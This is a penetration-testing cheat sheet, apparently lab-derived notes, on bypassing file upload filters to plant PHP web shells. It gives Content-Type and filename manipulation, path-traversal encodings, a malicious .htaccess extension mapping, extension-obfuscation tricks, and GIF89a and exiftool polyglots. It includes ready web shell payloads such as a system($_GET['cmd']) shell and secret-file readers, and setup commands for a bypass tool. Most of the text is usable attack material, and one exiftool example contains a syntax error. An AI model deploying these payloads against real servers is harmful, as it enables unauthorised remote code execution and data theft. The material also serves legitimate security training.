🗃️File Upload Bypass

File uploads | Web Security AcademyWebSecAcademy

Source

File Upload Bypass Technique

Web shell Upload via Content-Type restriction Bypass

When uploading a .php file;

# Change :
# Content-Type: application/x-php
# to
# Content-Type: image/jpeg
# Content-Type: image/png

Web shell upload via path traversal

When uploading a php file; You can upload the file to a different directory with lesser controls (a different directory that's not supposed to contain user-supplied files)

# Change :
# Content-Disposition: form-data; name="avatar"; filename="secrets.php"
# to
# Content-Disposition: form-data; name="avatar"; filename="../secrets.php"

# You can encode "../" as :
    %2e%2e%2f
    %252e%252e%252f
    ..%c0%af
    ..%ef%bc%8f
# Then access the file with LFI :
# GET /files/avatars/../secrets.php

Overriding the server configuration

Before uploading a php file;

• Servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings.

• Apache servers, for example, will load a directory-specific configuration from a file called .htaccess if one is present.

# First, upload a malicious .htaccess :
# Content-Disposition: form-data; name="avatar"; filename=".htaccess"
# Content-Type: text/plain

# AddType application/x-httpd-php .l33t

# Then upload the php file with .l33t extention
# Content-Disposition: form-data; name="avatar"; filename="secrets.l33t"
# Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>
# or
<?php system($_GET['cmd']); ?>

Web Shell Upload Bypasses Techniques List

According to OWASP the following list can be used by penetration testers in order to bypass a variety of protections :

• Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp

• Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.

• Content-Type —> Change the parameter in the request header using Burp, ZAP etc.

• Put server executable extensions : .php5, .shtml, .asa, .cert

• Changing letters to capital form : .aSp, .PHp3

• Using trailing spaces and/or dots at the end of the filename like .asp.. . .... ... , .asp , .asp.

• Use of semicolon after the forbidden extension and before the permitted extension : .asp;.jpg (Only in IIS 6 or prior)

• Upload a file with 2 extensions —> file.php.jpg

• Use of null character—> file.asp%00.jpg

• Create a file with a forbidden extension —> file.asp:.jpg or file.asp::$data

• ALSO : Combination of the above

Remote Code Execution via Polyglot web shell upload

In order to upload a php file where the file verification is done on the server side (checking if it is really a IMAGE file), we can disguise a php file as an image file.

When uploading a php file :

# You can add :
GIF89a; // at the beginning of the php file or in the burp request

# Burp request
# Content-Disposition: form-data; name="avatar"; filename="secrets.php"
# Content-Type: application/x-php

# GIF89a at the beginning of the php command
GIF89a;<?php echo file_get_contents('/home/carlos/secret'); ?>
# OR
GIF89a;<?php system($_GET['cmd']); ?>

PHP file disguised as an GIF file

or, Generate a polyglot payload using exiftool :

# example 1
exiftool -Comment="<?php echo 'START ' . 
file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php

# example 2
exiftool -Comment="<?php echo 'START ' . 
system($_GET['cmd']); . ' END'; ?>" $input.jpg -o polyglot.php

upload_bypass

File upload restrictions bypass by using different bug bounty techniques! Tool must be running with all its assets!

GitHub - sAjibuu/Upload_Bypass: A simple tool for bypassing file upload restrictions.GitHub

Install

git clone https://github.com/sAjibuu/upload_bypass.git
cd upload_bypass/
pip3 install -r requirements.txt

python3 ext_bypass.py -u $url -e $extension-file -a $allowed-extension -s $success-msg --location $path-of-uploaded-file

PoC